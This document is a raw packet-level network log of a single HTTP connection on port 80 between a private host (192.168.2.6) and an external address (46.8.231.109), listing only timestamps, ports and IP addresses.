Oct 7, 2024 18:00:28.233740091 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.233745098 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.233760118 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.233762026 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.233776093 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.233778954 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.233798027 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.233824968 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.233932972 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.233942986 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.233952999 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.233963013 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.233972073 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.233973980 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.233982086 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.233993053 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.233994961 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.234003067 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.234014034 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.234016895 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.234039068 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.234052896 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.234064102 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.234102964 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.234131098 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.234142065 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.234170914 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.234186888 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.234200954 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.234211922 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.234224081 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.234234095 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.234241009 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.234251022 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.234277010 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.234379053 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.234389067 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.234416962 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.234441042 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.234757900 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.234798908 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.234831095 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.234842062 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.234869957 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.234884977 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.234944105 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.234956026 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.234965086 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.234976053 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.234983921 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.234996080 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.235006094 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.235018015 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.235028028 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.235054016 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.235076904 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.235112906 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.235220909 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.235232115 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.235241890 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.235250950 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.235281944 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.235306978 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.235641003 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.235657930 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.235667944 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.235678911 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.235688925 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.235692978 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.235701084 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.235711098 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.235713959 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.235723972 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.235732079 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.235735893 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.235747099 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.235763073 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.235958099 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.235959053 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.235970974 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.235981941 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.235996008 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.236000061 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.236026049 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.236052990 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.236835957 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.236875057 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.236885071 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.236895084 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.236928940 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.236974955 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.237020016 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.237082005 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.237092972 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.237103939 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.237113953 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.237123966 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.237124920 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.237139940 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.237145901 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.237152100 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.237162113 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.237174034 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.237174988 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.237185001 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.237193108 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.237224102 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.237241030 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.237251997 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.237262964 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.237273932 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.237279892 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.237307072 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.237334013 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.237441063 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.237452030 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.237464905 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.237477064 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.237482071 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.237488985 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.237498999 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.237507105 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.237509966 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.237521887 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.237533092 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.237539053 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.237544060 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.237569094 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.237586975 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.237843990 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.237890959 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.321434975 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.321449995 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.321461916 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.321480036 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.321501970 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.321578979 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.321630001 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.321737051 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.321748972 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.321775913 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.321813107 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.321933031 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.321944952 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.321959019 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.321969032 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.321969986 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.321988106 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.322005987 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.322033882 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.322376013 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.322392941 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.322406054 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.322416067 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.322417021 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.322427988 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.322439909 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.322449923 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.322452068 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.322463036 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.322477102 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.322484016 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.322504044 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.322534084 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.322928905 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.322941065 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.322947025 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.322963953 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.322974920 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.322978973 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.322987080 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.322998047 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.323008060 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.323014021 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.323019981 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.323030949 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.323035002 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.323043108 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.323052883 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.323055029 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.323067904 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.323076963 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.323079109 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.323097944 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.323101044 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.323115110 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.323126078 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.323128939 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.323137045 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.323162079 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.323182106 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.323504925 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.323518038 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.323529005 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.323544979 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.323570013 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.323635101 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.323647976 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.323664904 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.323673964 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.323676109 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.323688984 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.323699951 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.323705912 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.323710918 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.323721886 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.323733091 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.323736906 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.323740005 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.323745012 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.323755026 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.323772907 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.323784113 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.323792934 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.323793888 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.323827028 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.323839903 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.323853016 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.323863983 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.323875904 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.323875904 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.323889017 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.323905945 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.323936939 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.324623108 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.324632883 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.324639082 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.324655056 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.324667931 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.324668884 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.324681044 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.324695110 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.324698925 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.324706078 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.324709892 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.324719906 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.324729919 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.324734926 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.324738026 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.324740887 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.324752092 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.324764013 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.324774027 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.324774981 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.324785948 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.324799061 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.324799061 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.324810982 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.324821949 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.324821949 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.324835062 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.324847937 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.324847937 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.324852943 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.324861050 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.324863911 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.324892998 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.324922085 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.325370073 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.325381041 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.325390100 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.325398922 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.325407982 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.325409889 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.325417995 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.325429916 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.325444937 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.325455904 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.325458050 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.325465918 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.325479031 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.325480938 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.325499058 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.325505018 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.325515032 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.325525045 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.325525045 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.325536013 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.325545073 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.325551033 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.325556040 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.325557947 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.325597048 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.326292038 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.326303005 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.326308012 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.326313019 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.326328039 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.326338053 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.326348066 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.326355934 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.326355934 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.326366901 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.326376915 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.326385975 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.326410055 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.326433897 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.326476097 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.326570988 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.326582909 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.326591015 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.326611042 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.326633930 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.327122927 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.327135086 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.327145100 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.327156067 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.327166080 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.327178955 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.327245951 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.327267885 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.327267885 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.327267885 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.327302933 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.327464104 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.327476025 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.327486038 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.327497005 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.327507973 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.327508926 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.327518940 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.327531099 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.327537060 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.327547073 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.327550888 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.327555895 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.327562094 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.327565908 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.327583075 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.327584028 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.327594042 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.327604055 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.327615023 CEST	80	49718	46.8.231.109	192.168.2.6
